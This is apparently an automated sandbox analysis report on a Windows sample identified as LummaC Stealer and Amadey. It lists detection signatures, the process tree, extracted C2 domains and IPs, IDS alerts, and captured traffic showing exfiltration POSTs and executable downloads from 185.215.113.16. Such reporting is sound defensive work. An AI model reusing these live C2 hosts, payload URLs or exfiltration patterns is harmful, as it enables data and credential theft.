Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544877
MD5:	ce30c177c983f9a8ef192452d20075e8
SHA1:	d9df14950e3f2759588644c5a94420195f0e23f0
SHA256:	f4ca8cc8cf400fa51bd89e100cdb438f5707fbaf148bacf27a2e4d9af8306188
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5024 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CE30C177C983F9A8EF192452D20075E8)

08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe (PID: 524 cmdline: "C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe" MD5: CFCC3E3407A3566A9706B31DEB9C320E)

YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe (PID: 4596 cmdline: "C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 5632 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

skotes.exe (PID: 3488 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5F38C4D8D82BD75C9E66E4D5DC7FA257)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["scriptyprefej.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "fadehairucw.store", "necklacedmny.store", "navygenerayk.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3006111132.0000000000831000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2924003746.0000000005500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2967313424.0000000000F21000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.3006807821.0000000000831000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2965064761.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2965815097.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5024	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.skotes.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.830000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:43:51.344945+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-29T20:43:52.860650+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-29T20:44:51.192603+0100	2054653	1	A Network Trojan was detected	192.168.2.6	62421	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:43:51.344945+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:43:52.860650+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:44:52.111455+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	62422	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:44:27.943876+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49713	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe, 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmp, 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe, 00000005.00000003.2872406130.00000000051E0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:62421 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:44:51 GMTContent-Type: application/octet-streamContent-Length: 2751488Last-Modified: Tue, 29 Oct 2024 19:41:45 GMTConnection: keep-aliveETag: "67213a79-29fc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 fa 1c 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 71 6e 70 65 64 68 6b 00 a0 29 00 00 a0 00 00 00 9a 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 65 75 78 69 77 6e 00 20 00 00 00 40 2a 00 00 06 00 00 00 d4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 da 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:44:59 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Tue, 29 Oct 2024 18:58:42 GMTConnection: keep-aliveETag: "67213062-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 b0 44 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 40 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 40 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 65 6a 6a 63 69 6f 00 30 1a 00 00 20 32 00 00 22 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 69 6b 64 71 75 65 00 10 00 00 00 50 4c 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:62422 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12864Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15110Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19968Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1224Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571752Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.2851794439.00000000009E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeicrosoft
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2183909238.00000000009AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft3
Source: file.exe, 00000000.00000003.2770153086.00000000009E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft:
